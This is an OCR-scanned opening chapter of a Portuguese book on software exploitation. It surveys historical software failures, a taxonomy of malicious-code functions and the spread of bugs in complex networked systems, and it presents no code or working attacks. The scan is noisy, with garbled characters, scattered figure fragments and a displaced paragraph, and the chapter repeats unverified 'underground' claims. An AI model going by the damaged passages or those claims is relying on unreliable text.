Os sistemas operacionais surgiram e evolulram. As primeiras redes foram formadas e cresceram. Uma grande parte dessa evolu\=ao e crescimento ocorreu no software.3 0 software tornou-se essencial. No caminho ate a Internet, ocorreu algo curioso. 0 software, antes considerado apenas urn viabilizador benefico, revelou-se urn agn6stico em terrnos de morale etica. Como seve, a afirma~ao de Lady Lovelace ao dizer que o software pode desempenhar "qualquer fun~ao que seja" e verdadeira, e a expressao "qualquer fun~ao" envolve fun~oes mal-intencionadas, fun<;oes possivelmente perigosas e fun<;oes simplesmente erradas. Conforme foi se tornando mais eficiente, o software come~ou a extrapolar as areas estritamente tecnicas (a area dos geeks), entrando em varias outras areas da vida. 0 uso comercial e militar do software tornou-se cada vez mais comum. Atualmente, continua sendo muito comum. 0 mundo dos neg6cios tern muito a perder se o software falhar. 0 software comercial opera cadeias de abastecimento, fornece acesso instanraneo a informa~oes globais, controla unidades de manufatura e gerencia o atendimento a clientes. Isso significa que o software failure causa problemas graves. Na verdade, o software que falha ou funciona inadequadamente pode atualmente: • • • •
Expor dados confidenciais a usuarios nao-autorizados (inclusive invasores) Travar ou parar de funcionar ao ser exposto a entradas defeituosas Permitir que urn invasor "injete" urn c6digo eo execute Executar comandos sigilosos em nome de urn invasor esperto
Atualmente, as redes tern urn impacto muito grande (em grande parte, negativo) na ideia de fazer o software "comportar-se bern". Desde o seu surgimento no inicio da decada de 1970 como uma rede de 12 nos chamada ARPANET, a Internet foi adotada a uma velocidade nunca vista, entrando em nossa vida muito mais rapidamente que varias outras tecnologias populares, como a eletricidade eo telefone (Figura 1.1 ). Se a Internet fosse urn carro, o software seria o motor. A conexao de computadores em rede permite que os usuarios compartilhem dados, programas e recursos computacionais. Ao ser colocado em rede, o computador pode ser acessado remotamente, permitindo que usuarios geograficamente distantes recuperem dados ou utilizem os ciclos de CPU e outros recursos. A tecnologia de software que possibilita isso e muito novae amplamente instavel. No ritmo acelerado da economia atual, ha uma forte pressao do mercado sobre as empresas de software para que forne~arn tecnologias novas e atraentes. 0 "tempo de entrada no mercado" e urn motivador critico eo "para ontem" e uma exigencia comum. Quanto mais uma tecnologia demora a entrar no mercado, maior e o risco de fracasso comercial. Ja que 3. Ha uma grande sinergia entre avanc;os no hardware e no software. 0 fato de o hardware ser muito eficienre na atualidade (especialmente em relac;iio ao hardware de antigamente) sem duvida contribuiu para o avanc;o do nivel de pratica em software.
Como quebrar c6digos
4
Televlslio (1926)
100% 90%
Forno microndas (1953)
80%
Eletricidade (1873)
Aviao (1903)
Telefone (1876)
Videocassete (1952) Autom6vel (1886)
70% 60% 50% 40% 30%
Telefone PC celular (1975) (1983) Internet (1991)
20% 10% 0%
~~~~~~~~~~~~~~~~~~~~~~~~ " ......: ....... ..... Anos
Taxa de ado~ao e diversas tecnologias, em a nos. 0 gratico mostra os a nos (desde a introdu~ao/inven~ao, marcada como o ano 0) no eixo X e penetra~ao no mercado (em porcentagem de lares) no eixo Y. Os declives das diversas curvas sao reveladores. Claramente, a Internet esta sendo adotada mais rapidamente (e, portanto, tern um impacto cultural mais forte) do que qualquer outra tecnologia humana na Hist6ria. (lnforma~oes de Dan Geer, em comunica~ao pessoal.)
Figura 1.1:
as coisas feitas com cuidado exigem muito tempo e dinheiro, o software tende a ser criado as pressas e a ser testado inadequadamente. Esse descaso em rela~ao ao desenvolvimento de software levou a uma rede global com bilhoes de bugs que podem ser explorados. A maioria dos softwares baseados em rede contem recursos de seguran~a. A senha e urn recurso simples de seguran~a. Embora seja comum o cliche do cinema em que uma senha e adivinhada facilmente, as senhas rea lmente atrasam um invasor em potencial as vezes. Entretanto, isso s6 vale para invasores ingenues que tentam entrar pela porta da frente. 0 problema e que varies mecanismos de seguran~a destinados a proteger o software sao softwares tambem e, portanto, estao sujeitos a ataques mais sofisticados. Como a maioria dos recursos de seguran~a faz parte do software, normalmente eles podem ser ignorados. Entao mesmo que todo mundo tenha visto algum fi lme em que o invasor adivinha a senha, na vida real o invasor geralmente trabalha com recursos de seguran~a mais complexes que protegem o alvo. Veja a seguir alguns recursos mais complexes e os ataques relacionados a eles.
Capitulo 1
• • • • •
s
Software - a raiz do problema
Controlar quem tern permissao para se conectar a uma determinada maquina Detectar se as credenciais de acesso estao sendo falsificadas Determinar quem pode acessar certos recursos de uma maquina compartilhada Proteger dados (principalmente em transito) utilizando a criptografia Determinar como e onde coletar e annazenar trilhas de auditoria
Dezenas de milhares de bugs de software ligados a seguranp foram descobertos e divulgados durante toda a decada de 1990. Esse tipo de problema levou a dissemina\ao das explora\oes de redes corporativas. Atualmente, estima-se que ha dezenas de milhares de backdoors ["portas dos fundos") instaladas em redes em todo o mundo - resultado do boom das invasoes no final do seculo XX. Na situa<;ao atual, arrumar a bagun<;a em que n6s estamos e quase impossfvel, mas temos de tentar. 0 primeiro passo para resolver o problema e entende-lo. Urn dos motivos da existencia desse livro e incentivar 0 debate sobre 0 verdadeiro carater tecnico das explora<;oes do software, indo alem das questoes superficiais e chegando ao cerne do problema. 0 software e o guerrelro da
lnforma~ao
A segunda profissao mais antiga do mundo e a guerra . Mas mesmo uma profissao tao antiga como a guerra tern sen correspondente cibernetico. A guerra de informa\oes (GI) e essencial para toda na\ao e corpora\ao que pretende ter sucesso (e sobreviver) no mundo moderno. Mesmo que uma na<;ao nao esteja gerando capacidade para a GI, pode-se garantir que os inimigos estao, e que a na<;ao estara em grande desvantagem em guerras futuras. A coleta de informa<;oes e fundamental para a guerra. Como a GI nitidamente gira em torno das informa<;oes, ela tambem esta muito ligada coleta de informa\Oes.4 A espionagem classica tern quatro objetivos importantes:
a
1. Defesa nacional (e seguran<;a nacional) 2. Ajuda em uma opera<;ao militar 3. Expansao da influencia polftica e da parricipa<;ao no mercado 4. Aumento do poder economico Urn espiao eficiente sempre foi uma pessoa que consegue coletar e, talvez, ate controlar grandes quantidades de informa<;oes importantes. Essa e uma grande verdade na era da informatica altamente interconectada. Se for possfvel obter informa<;6es importantes em redes, o espiao nao tera que ficar fisicamente exposto. Ficar menos exposto implica uma menor possibilidade de ser capturado ou de outra forma comprometido. Tam hem significa que a capacidade de coletar informa<;oes custa muito menos do que custava no passado.
4 . Consulte o livro de Dorothy Detu1ing, Information Warfare & Security [1998], para obter mais informar;oes sobre o assunto.
6
Como quebrar c6digos
Como a guerra esta intimamente relacionada a economia, a guerra eletronica esta, em muitos casos, ligada a representa~ao eletronica do dinheiro. Em grande parte, o dinheiro moderno e uma nuvem de eletrons que esta no Iugar certo e na hora certa. Trilhoes de d6lares eletronicos entram e saem dos palses todos os dias. 0 controle das redes mundiais e o controle da economia global. Esse e urn dos principais objetivos da GI.
Esplonagem digital Alguns aspectos da GI podem ser considerados como digital tradecraft ((espionagem digital"). Entrada principal: trade·craft PronCmcia: 'tdid-"kraft Fun~ao: substantive Data: 1961 : tecnicas e procedimentos de espionagem... (Webster's, pagina 1250) A espionagem moderna erealizada por meio do software. Em urn ataque dirigido a urn sistema de informa~oes, explora-se urn ponto fraco do software para obter acesso as informas;oes ou insere-se urn backdoor no software antes de distribuf-lo.5 Os pontes fracos do software variam de problemas de configuras;ao a bugs de programa~ao e defeitos no projeto. Em alguns casos, o invasor pode simplesmente solicitar informa~oes do software-alvo e obter OS resultados. Em omros casos, e necessaria introduzir urn c6digo subversive no sistema. Algumas pessoas tentaram classificar o c6digo subversive em categorias como bomba 16gica, spyware ["software espiao"], cavalo de Troia etc. A realidade e que o c6digo subversive pode realizar quase qualquer atividade prejudicial. Portanto, qualquer tentativa de classificas:ao costuma ser urn desperdicio quando a pessoa esta buscando somente os resultados. Em alguns casos, uma classificas;ao ampla ajuda os usuaries e analistas a diferenciar os ataques, e isso pode ajudar a entende-los. No nfvel mais alto, o c6digo subversive realiza qualquer combina<;ao das atividades a seguir:
1. Coleta de dados a . Captura de pacotes na rede (packet sniffing) b. Monitoramento das teclas pressionadas c. "Sifonamento" de banco de dados (database siphoning) 2. As:ao oculta (stealth) a . Oculta<;ao de dados (arquivos de log etc.) b. Oculta~ao de processos c. Oculta~ao de usuarios de urn sistema d. Oculta<;ao de urn "esconderijo" digital 5. Consulte o famoso artigo de Ken Thompson sobre "confiar na
con fian~a"
[1984].
Capitulo 1
3.
Software - a raiz do problema
7
Comunica~ao
dissimulada a. Permissao do acesso remoto sem detec~ao b. Transferencia de dados importantes para fora do sistema c. Canais dissimulados (Covert channels) e esteganografia 4. Comando e controle a. Permitir o controle remoto de urn sistema b. Sabotagem (varia~ao do comando e controle) c. Nega~ao de servi~o
Em grande parte, este livro enfoca os detalhes tecnicos da explora<;ao de software para criar e introduzir c6digos subversivos. As habilidades e tecnicas apresentadas neste livro nao sao novas e vern sendo utilizadas por urn grupo de pessoas (pequeno, mas em crescimento) por quase 20 anos. Muitas tecnicas foram desenvolvidas de forma independente por grupos diferentes e pequenos. S6 ha pouco tempo as tecnicas de explora~ao de software foram combinadas em uma unica "arte". A uniao de abordagens diferentes e, em grande parte, urn acidente hist6rico. Muitas das tecnicas de engenharia reversa foram desenvolvidas como urn desdobramento do movimento de cracking de software que come~ou na Europa. As tecnicas de cria~ao de c6digos subversives sao semelhantes as tecnicas de quebra de prote~ao de software (como aplica<;ao de patches); portanto, naturalmente, o movimento do virus compartilha rafzes e ideias basicas semelhantes. Na decada de 1980, nao era raro encontrar c6digos de virus e cracks de software nos pr6prios sistemas de BBS (bulletin board system). 0 estudo sobre invasoes de redes, por outro lado, partiu da comunidade de administradores de UNIX. Muitos conhecedores da invasao classica de redes se dedicam principalmente a roubar senhas e criar trapdoors, ignorando, em grande parte, os c6digos subversivos. No infcio da decada de 1990, as duas disciplinas come~aram a se mesclar, e as primeiras explora~oes de shell remoto come<;aram a ser distribuldas pela Internet. Atualmente, ha muitos livros sobre seguran~a de computadores, mas nenhum deles explica os ataques sob a perspectiva tecnica da programa<;ao.6 Todos os livros sobre invasoes, incluindo o conhecido livro Hacking Exposed de McClure et al. [1999], sao compendios de scripts de hacker e explora~oes existentes com foco em questoes de seguran~a de rede. Eles nao fazem nada para treinar as pessoas para encontrar novas maneiras de explorar o software. Isso e uma pena, principalmente porque as pessoas encarregadas de criar sistemas seguros nao tern ideia do problema que estao combatendo. Se continuarmos a nos defender apenas dos script kiddies com armas simples, e provavel que as nossas defesas nao consigam nos proteger contra os ataques sofisticados que estao acontecendo com freqiiencia atualmente. Por que escrever urn livro repleto de material perigoso? Basicamente, estamos tentando eliminar conceitos falsos, mas amplamente difundidos, sobre as capacidades da 6. Ja ebora de escrever livros como este; portanto, eprovavel que observemos o surgimento da disciplina de explora'iao de software nos pr6ximos anos.
8
Como quebrar c6digos
Como alguns hackers de software pensam «Se voce der a alguem uma tecnica de invasao, no futuro ele terd fome novamente; se voce o ensinar a criar uma tecnica de invasao, ele nunca mais terd fome novamente." +ORC
Em que acreditam as pessoas que quebram software comma intenc;ao? Quale a sua abordagem ao problema da explorac;ao de software? Quais sao as suas conquistas? As respostas a essas perguntas sao importantes se quisermos abordar adequadamente o problema de criar sistemas seguros corretamente. Em certo sentido, o hacker de software com bons conhecimentos e, atualmente, uma das figuras mais poderosas do mundo. Pessoas que tern acesso a informac;oes privilegiadas costumam repetir uma ladainha de dados surpreendentes sobre os ataques de software e seus resultados. Nao se sabe se todos esses dados sao verdadeiros. Muitas dessas declarac;oes aparentemente tern fundamento; mesmo se forem exageradas, certamente dao uma certa noc;ao sobre a mentalidade do hacker malicioso. Essas pessoas afirmam o seguinte: • A maioria das 2000 maiores empresas do mundo esta atualmente infiltrada por hackers. Nao s6 todas as instituic;oes financeiras tern brechas de seguranc;a como tambem os hackers as estao explorando ativamente. • A maior parte dos softwares terceirizados (softwares desenvolvidos fora das companhias, por empresas contratadas) esta repleta de backdoors, e e extremamente diffcil audita-los independentemente. Tradicionalmente, as empresas que solicitam esse tipo de software nao dao absolutamente nenhuma importancia a seguranc;a. • Todas as nac;oes desenvolvidas do mundo estao investindo em recursos de guerra cibernetica. Ha recursos de defesa e ataque na guerra cibernetica. • Os firewalls, scanners de vfrus e sistemas de detecc;ao de intrusao funcionam muito mal. Os fornecedores de seguranc;a de informatica exageram nas promessas e oferecem pouco, utilizando as abordagens classicas a seguranc;:a de rede. Nao se tern dado atenc;:ao suficiente as questoes de seguranc;a de software. As pessoas que tern acesso a informac;oes privilegiadas costumam utilizar um conjunto de perguntas-padrao sobre essas questoes para ver se o indivfduo esta "bern informado." Veja algumas das declarac;oes comumente citadas nessa atividade: Uma pessoa "bern informada" normalmente acredita no seguinte em relac;ao a explorac;ao de software: • A protec;ao contra c6pias de software (gerenciamento digital de direitos) nunca funcionou nem ira funcionar. Nao e possfvel nem mesmo na teoria. • Ter o software executavel na forma binaria e tao born quanto ter o c6digo-fonte, ou melhor. • Nao ha segredos comerciais sobre software. A seguranc;:a por obscuridade s6 ajuda os invasores em potencial, principalmente se este e utilizado para ocultar um projeto malfeito. • Centenas de explorac;oes nao-reveladas (conhecidas como explorac;:6es do "dia 0") estao em uso no memento, e e provavel que permanec;am desconhecidas nos anos que virao. • Ninguem deveria depender de patches de software nem de listas de discussao para ter seguranc;a. Essas fontes tendem a ficar bastante defasadas em relac;ao ao "underground" quando se trata de explorac;oes de software. • A maioria das maquinas conectadas a Internet (com muito poucas excec;oes) pode ser explorada remotamente agora mesmo, inclusive as que tern as versoes mais atualizadas e com patches do Microsoft Windows, Linux, BSD e Solaris. Aplicativos independentes altamente populares, como os da Oracle, IBM, SAP, PeopleSoft, Tivoli e HP, tambem sao suscetfveis a explorac;oes nesse memento.
Capitulo 1
Software - a raiz do problema
9
• Muitos dispositivos de "hardware" anexados a Internet (com poucas exce~oes) podem ser explorados remotamente neste exato momenta- inclusive os switches da 3Com, o roteador da Cisco e seu software lOS, o firewall Checkpoint eo load balancer F5. • Pode-se explorar e controlar remotamente a infra-estrutura fundamental que controla a agua, o gas, o petr61eo e a energia eletrica agora por meio dos pontos fracas do software SCADA. • Se um hacker malicioso quiser entrar na sua maquina particular, ele sera bem-sucedido. Reinstalar seu sistema operacional ou carregar uma nova imagem de sistema depois do comprometimento nao ira adiantar nada, ja que hackers habilidosos podem infectar o firmware dos microchips de sistema. • Os satelites foram explorados e continuarao a se-lo. De acordo com as pessoas que tern acesso a informa~6es privilegiadas do underground, tudo isso esta acontecendo agora. Entretanto, mesmo se alguma dessas declara~oes for exagerada, ja esta na hora de encarar a verdade e reconhecer o que esta acontecendo. Fingir que as informa~oes neste livro nao sao verdadeiras e que OS resultados nao sao crftiCOS e simplesmente ridfculo. explora~ao
do software. Muitas pessoas nao percebem o perigo que urn invasor de software pode representar. Tambem nao percebem que somente algumas das tecnologias classicas de seguran~a de rede disponiveis atualmente conseguem impedi-los. Talvez seja por isso que o software parec;a algo "magico" para a maioria das pessoas, ou, talvez, seja por causa da falta de informac;ao e do marketing incorreto perpetuados por fornecedores de seguranc;a inescrupulosos (ou talvez simplesmente ignorantes). As declara~oes feitas no underground da seguran~a servem como urn importante alerta que nao podemos mais nos dar ao luxo de ignorar.
0 software defeltuoso
e onlpresente
Em geral, a seguran~a de software e considerada somente como urn problema da Internet, mas isso esta Ionge da verdade. Embora as empresas tenham evoluldo para usar a Internet, muitos sistemas de software estao isolados em redes "proprietarias" (patenteadas) especiais ou confinados em maquinas individuais. Obviamente, as atribuic;oes do software vao muito alem de escrever e-mails, fazer planilhas e brincar com jogos on-line. Quando o software falha, milhoes de d6lares sao perdidos e, as vezes, pessoas sao mortas. Apresentamos a seguir nesta se~ao alguns exemplos bern conhecidos de resultados de falhas de software. A razao por que esse tipo de informac;ao e relevante para a explorac;ao de software e que a falha de software que acontece "espontaneamente" (ou seja, sem rna intenc;ao da parte de urn invasor) demonstra o que pode acontecer mesmo sem uma inten~ao maliciosa. Em termos ligeiramente diferentes, considere que a diferenc;a entre software safety e software security~· e a adic;ao de urn adversario inteligeme e determinado a entrar no sistema. Com base nesses exemplos, imagine o que urn invasor com bons conhecimentos poderia fazer!
"Software safety: "seguranifa " contra acidentes; software security: tambem "seguranifa", mas contra ataques voluntaries. 0 que diferencia OS termos em ingJes e a intencionaJidade. (N. doT.)
10
Como quebrar c6digos
0 NASA Mars Lander
Uma simples falha de software custou aos contribuintes dos EUA cerca de US$ 165 milhoes quando o Mars Lander da NASA colidiu com a superflcie de Marte. 0 problema foi uma simples tradw;ao computacional entre as unidades de medida do sistema ingles eo sistema metrico. Como resultado do bug, houve um erro significative na trajet6ria da espac;onave conforme esta se aproximava de Marte. 0 Mars Lander desativou os motores de descida antes da hora, resultando em urn acidente. 0 Mars Polar Lander espatifou-se em Marte, devido a urn desligamento premature dos motores de descida quando urn software interpretou errado urn sinal espurio do sensor como significando que tinha tocado o solo. Alem disso, o Mars Climate Orbiter teve uma falha de navegac;ao devido a uma confusao entre unidades inglesas e as unidades metricas, 0 que e mais urn erro humano no processamento de bugs que um verdadeiro bug de software. Foi assumido que a nave quebrou ao entrar na atmosfera marciana. Bagagem no aeroporto de Denver
0 moderno aeroporto internacional de Denver tem um sistema automatizado de bagagem que utiliza carrinhos nao-tripulados que COlTem ao Iongo de um trilho fixotudo controlado por software. Quando foram ativados pela primeira vez para testes, os carrinhos nao detectavam nem se recuperavam de falhas corretamente. Isso acontecia devido a varies problemas de software. Os carrinhos salam de sincronia, carrinhos vazios eram "descarregados" e os cheios eram "carregados" muito alem da capacidade. Nem mesmo as pilhas de malas cafdas faziam os carrinhos parar. Esses bugs de software atrasaram a abertura do aeroporto em 11 meses, custando ao aeroporto pelo menos um milhao de d6lares por dia. MV-22 Osprey
0 MV-22 Osprey (Figura 1.2) e uma aeronave militar avanc;ada que e uma fusao especial entre urn helic6ptero de decolagem vertical e um aviao normal. A aeronave e sua aerodinamica sao extremamente complexas, tao complexas que o aviao rem de ser controlado por va.rios sofisticados softwares de controle. Essa aeronave, como a maioria delas, contem varios sistemas redundantes para o caso de falha. Durante uma decolagem malsucedida, uma linha hidraulica defeituosa explodiu. Esse problema era grave, mas normalmente a nave poderia se recuperar dele. Entretanto, nesse caso, uma falha de software fez com que o sistema de reserva nao fosse ativado adequadamente. A aeronave caiu e quatro fuzileiros morreram. 0 USS VIncennes
Em 1988, um navio da marinha dos EUA lanc;ou urn mfssil e abateu uma ameac;a inimiga identificada pelo radar de bordo e pelo sistema de rastreamento como urn cac;a inimigo (Figura 1.3 ). Na realidade, a "ameac;a" era urn voo comercial de urn
Capitulo 1
Software - a raiz do problema
11
Figura 1.2: 0 MV-22 Osprey em voo. Os softwares sofi sticados de controle tem uma importancia crucial para a vida.
0
"0
(:: M
0 0
N
Figura 1. 3 : Ca~a do tipo identificado pelo software de monitoramento do US Vicennes e subsequentemente considerado hostil.
12
Como quebrar c6digos
,., 0 0 N
Figura 1.4 : 0 Airbus A320, identificado equivocadamente como um ca~a pelo software de rastreamento do USS Vincennes e subsequentemente abatido, matando 290 pessoas inocentes.
Airbus A320, lorado com insuspeitos turistas e viajantes a neg6cio (Figura 1.4) . 0 aviao foi abatido e 290 pessoas morreram. A desculpa oficial da Marinha dos EUA culpou uma safda criptografada e enganosa exibida pelo software de rastreamento. A Microsoft e o Love Bug
0 Love Bug, tambem conhecido como virus "I LOVE YOU", s6 foi possivel porque o cliente de e-mail do Microsoft Outlook foi (mal) projetado para executar programas enviados a partir de fontes possivelmente nao-confiaveis. Aparentemente, ninguem na equipe de software da Microsoft pensou no que urn virus poderia fazer utilizando os recursos de script incorporados. Estima-se que os danos resultantes do virus "I LOVE YOU" chegaram acasa dos bilhoes de d6lares. 7 Note que esse prejufzo foi pago pelos clientes da Microsoft que utilizam Outlook e nao pela propria Microsoft. 0 Love Bug e urn exemplo importante de como urn virus da Internet pode causar urn dano financeiro muito grande a comunidade empresarial. Quando este livro estava no prelo, outro worm de larga escala chamado Blaster (e varios outros similares) atacou a unidade, causando danos de bilhoes de d6lares. Como o Love Bug, o worm Blaster s6 foi possfvel por causa de um software vulneravel. Levando em conta todos esses casos em conjunto, os dados sao extremamente claros: os defeitos de software sao o ponto fraco mais crftico dos sistemas de computador. Obviamente, os defeitos de software causam falhas catastr6ficas e provocam perdas monetarias enormes. De modo semelhante, os defeitos de software permitem que os invasores causem danos intencionalmente e roubem informa~oes importantes. Em ultima analise, OS defeitos de software levam diretamente aexploras:ao de software.
A trindade problematica Por que e tao dificil fazer o software comportar-se bern? Tres fatores atuam em conjunto para fazer do gerenciamento de risco de software urn grande desafio na 7. Fontes afirmam que esse bug custou bilh6es de d61ares a economia (principalmente devido a perda de produtividade). Para informa<;6es, consulte http://news.com.com/2100-1001-240112.html ?legacy=cnet.
Capitulo 1
13
Software - a raiz do problema
atualidade. Chamamos esse conjunto de fatores de trindade problematica. Eles sao . os segumtes: 1. Complexidade 2. Extensibilidade 3. Conectividade
Complexidade 0 software moderno e complicado, e as tendencias sugerem que ficani ainda mais complicado em urn futuro proximo. Por exemplo, em 1983, o Microsoft Word tinha somente 27.000 linhas de c6digo (lines of code- LOC) mas, de acordo com Nathan Myhrvold, 8 em 1995 essa contagem chegava a 2 milhoes de linhas! Os engenheiros de software passaram anos tentando descobrir como medir o software. Ha livros inteiros sabre metricas de software. Nosso livro favorite, de Zuse [1991], tern mais de 800 paginas. Entretanto, somente uma medida parece ter rela~ao com o numero de defeitos: LOC. De fato, o LOC e conhecido em alguns clrculos de engenharia de software como a unica medida razoavel. 0 numero de bugs por mil linhas de c6digo (KLOC) varia de sistema para sistema. As estimativas ficam entre 5 a 50 bugs por KLOC. Ate mesmo urn sistema que passou por rigorosos testes de garantia de qualidade (GQ) contem bugs- em torno de cinco bugs por KLOC. Urn sistema de software que e testado somente em rela~ao aos recursos que oferece, como a maioria dos softwares comerciais, teni muito mais bugs- em torno de 50 por KLOC [Voas e McGraw, 1999]. A maioria dos softwares se enquadra na ultima categoria. Muitos fornecedores de software equivocadamente acreditam que fazem testes rigorosos de GQ mas, na verdade, seus metodos sao muito superficiais. Uma metodologia rigorosa de GQ vai muito alem do teste de unidades e envolve a inje~ao de falhas [fault injection] e analise de falhas [failure analysis]. Para dar uma ideia da quantidade de software que ha dentro de uma maquinaria complexa, considere o seguinte: Linhas de C6digo
Sistema
400.000 17 milhoes 40 milhoes 10 milhoes
Solaris 7 Netscape Esta~ao Espacial Onibus Espacial Boeing 777 NTS Linux Windows 95 Windows XP
8. A revista Wired escreveu uma materia sobre o assunto, disponfvel em http://www.wired.com/ wired/archive/3.09/myhrvold.html?person=gordon_moore&topic_set=wiredpeople.
14
Como quebrar c6digos
Complexidade do Wjndows
45
...
40 35 l{l 30
.J::.
·-Q;c 25
/
"0
lG 20 •O
/
/
~
.J::.
~
15
10
5 0
Win
3.1 (1990)
/ Win NT (1995)
/ l Win
95 (1997)
NT 4.0 (1998)
Win 98 (1999)
NT 5.0 (2000)
Win 2k (2001)
XP (2002)
Figura 1.5:
Complexidade do Windows medida em LOC. Maior complexidade resulta em mais bugs e defeitos.
Conforme mencionamos anteriormente, sistemas como esses tendem a ter taxas de bug que variam entre 5 e 50 bugs por KLOC. Para demonstrar o aumento na complexidade como passar dos anos, considere o numero de LOC em varios sistemas operacionais da Microsoft. A Figura 1.5 mostra como o sistema operacional Microsoft Windows cresceu desde seu lanc;amento em 1990 como Windows 3.1 (3 milhoes de LOC) ate a forma atual como Windows XP em 2002 (40 milhoes de LOC). Um fato simples, mas negativo, mostra-se verdadeiro em relac;ao ao software: quanto mais linhas, mais bugs. Se esse fato continuar valendo, com certeza o XP nao esta destinado a ser livre de bugs! 9 A pergunta 6bvia a se fazer levando em conta os nossos objetivos e a seguinte: Quantos desses problemas terao como resultado problemas de seguranc;a? Como os bugs e outros pontes fracos se transformam em explorac;oes? Um sistema desktop que executa o Windows XP e os aplicativos associados depende do funcionamento correto do kernel e dos aplicativos para garantir que um invasor nao ira corromper o sistema. Entretanto, o XP em si e formado por aproximadamente 40 milhoes de LOC e os aplicativos estao se tornando tao complexos quanto ele (ou ate mais complexos). Quando os sistemas chegam a esse tamanho, nao e possfvel evitar OS bugs.
9. De fato, graves vulnerabilidades foram descobertas meses depois do lam,:amento.
Capitulo 1
15
Software - a raiz do problema
A utilizacs:ao disseminada de linguagens de programacs:ao de baixo nfvel como C ou C++ que nao protegem contra tipos simples de ataques, como buffer overflows (que explicaremos neste livro), esta exacerbando o problema. Alem de fornecer mais caminhos para ataques por meio de bugs e OLltros defeitos de projeto, os sistemas complexos facilitam o ato de ocultar ou mascarar o codigo malicioso. Em teoria, poderfamos analisar e provar que urn programa pequeno e livre de problemas de segurancs:a, mas essa tarefa e impossfvel ate mesmo para os atuais sistemas simples de desktop, que dini para os sistemas corporativos utilizados por empresas ou governos.
Mals llnhas, mals bugs Considere uma rede de 30.000 nos, do tipo que uma corporacs:ao de porte media provavelmente teria. Cada estacs:ao de trabalho da rede contem software na forma de executaveis (EXE) e bibliotecas e tern, em media, cerca de 3.000 m6dulos executaveis. Em media, cada modulo tern aproximadamente lOOK bytes de tamanho. Supondo que uma unica linha de codigo representa cerca de 10 bytes de codigo, entao em nma taxa muito conservadora de cinco bugs por KLOC, cada modulo executavel teni aproximadamente 50 bugs: -lOOK _ 10 KLOC EXE EXE
5 bugs = 50 bugs KLOC
EXE
Agora considere o fato de que cada host tern aproximadamente 3.000 executaveis. Isso significa que cada maquina da rede tem aproximadamente 150.000 bugs unicos: 50 bugs EXE
x
3.000 EXEs= 1_5_0_.o_oo_bu_,g!,_s host host
Certamente, e uma grande quantidade de bugs, mas o verdadeiro problema ocorre quando consideramos os posslveis alvos e o numero de copias desses bugs que existem como alvos de ataques. Como esses mesmos 150.000 bugs sao copiados muitas vezes em 30.000, o numero de instdn.cias de bug que urn invasor pode usar e enorme. Uma rede de aproximadamente 30.000 maquinas tern cerca de 4,5 bilhoes de instancias de bug que podem ser utilizadas (de acordo com nossa estimativa, somente 150.000 desses bugs sao unicos, mas 0 problema nao e esse): 150.000 bugs x 30.000 hosts host rede
=
4,5 bilhoes de instancias de bug na rede (urn alvo grande)
Ao pressupormos que 10% dos bugs provocam algum tipo de falha de segurancs:a e conjeturarmos que somente 10% desses bugs podem ser utilizados remotamente (pela rede) entao, de acordo com as estimativas, nossa rede hipotetica tern 5 milhoes de vulnerabilidades de software remoras para serem atacadas. A resolu~ao de 150.000
16
Como quebrar c6digos
bugs e urn grande desafio, e () gerenciamento correto dos patches para a dissemina~ao de mais de 5 milhoes de instancia~oes de bug espalhadas por 30.000 hosts e ainda pior: 4,5 bilhoes 500 milh6es
x
x
10% = 500 milhoes de instancias de bugs de seguran~a
10% = 5 milh6es de alvos de bugs de
seguran~a
remotamente exploraveis
Obviamente, o invasor esta do !ado vencedor desses numeros. Nao e nenhuma surpresa, levando em conta a homogeneidade dos sistemas operacionais e aplicativos (que leva a esses numeros distorcidos), que worms como o Blaster de 2003 sejam tao bem-sucedidos na sua propaga~ao. ·10
Extensibilidade Os sistemas modernos construldos com base em maquinas virtuais (virtual machines - VMs) que preservam a seguran~a e executam verifica~oes de seguran~a de acesso no tempo de execu~ao- permitindo assim a execu~ao de c6digo m6vel nao-confiavel sao sistemas extensiveis. 0 Java eo .NET sao dois grandes exemplos disso. Urn host extensive! aceita atua liza~oes ou extensoes, tambem chamadas de c6digo m6vel, de modo que a funcionalidade do sistema pode evoluir de modo incremental. Por exemplo, uma Java Virtual Machine (JVM) instancia uma classe em um namespace (espa<;o de nomes) e pode permitir que outras classes interajam com ela. A maioria dos sistemas operacionais (SOs) modernos dao suporte a extensibilidade por meio de drivers de dispositivo e m6dulos dinamicamente carregaveis. Os aplicativos atuais, como processadores de texto, clientes de e-mail, planilhas e navegadores da Web, dao suporte a extensibilidade por meio de scripts, controles, componentes, bibliotecas dinamicamente carregaveis e applets. Mas nada disso e realmente novo. Na verdade, pensando no assunto, o software ede fato urn vetor de extensibilidade para computadores de uso geral. Os softwares definem o comportamento de urn computador e o ampliam de modo interessante e inovador. Infelizmente, a propria caracteristica dos sistemas extensfveis modernos dificulta a seguran<;a. Por urn !ado, e diffcil impedir que o c6digo malicioso penetre como uma extensao indesejavel, e isso significa que os recursos projetados para agregar extensibilidade a urn sistema (como mecanismo de carregamento declasse do Java) tern de ser projetados levando em conta a seguran~a. Alem disso, a analise da seguran<;a de urn sistema extensive! e muito mais diffcil que a de urn sistema completo que nao pode ser alterado. Como e possfvel ana lisar urn c6digo que ainda esta para surgir? Ou melhor ainda: como e possivel come~ar a prever cada tipo de c6digo m6vel que pode surgir? Esses e outros problemas de seguran~a em rela~ao ao c6digo m6vel sao explicados detalhadamente em Securing Java [McGraw e Felten, 1999]. 10. Alguns pesquisadores de seguran<;a acrediram que a diversidade poderia ajudar a resolver o problema, mas as experiencias mosrram que fazer essa ideia funcionar na pn\tica e mais diffcil que parece a primeira VISta.
Capitulo 1
Software - a raiz do problema
C6digo-tonte (qualquer linguagem suportada)
.......
/
17
Compilador de c6digo-fonte
.
Compilador de back-end ' l v ,
Optil & metadados (.OBJ)
Todas as entidades dessa caixa podem tornecer evidencias ~ e usam verifica90es de permissao.
C6digo" & metadados (OBJ)
-
..... . Linker .......
Gerenciamento de polftica de seguranya
+ Assembly
. !")(!" OU nl I
Common Language Runtime
'
c:ompl~
...., MSIL& metad ados (.OBJ)
(
Procesaode
Mecanismo de metadados
Evid!!ncia (de varias fontes)
Politica
"\
Verificador
..
(lnspe~o
de pilha)
\
•
"". ....
de '"'' depurayllo
t •
..
Serviyos de perfil Verificac6es de permissao
Conjunto de permissoes
~
...
' ~ Avalia9ao da politica
Carregador declasse
\
''"'" , ~or de c6digo de tempo de
""J!()
,.,
Execu~o
'
"
Framework de base (.DLL)
/"
.
C6digo nalivo gerenciado
Cache de assembly
t--
"v" JIT ,,Q,
~
I(
isola do
~o~de ~
metodo remoto
l
C6digo nativo niio-gerenciado
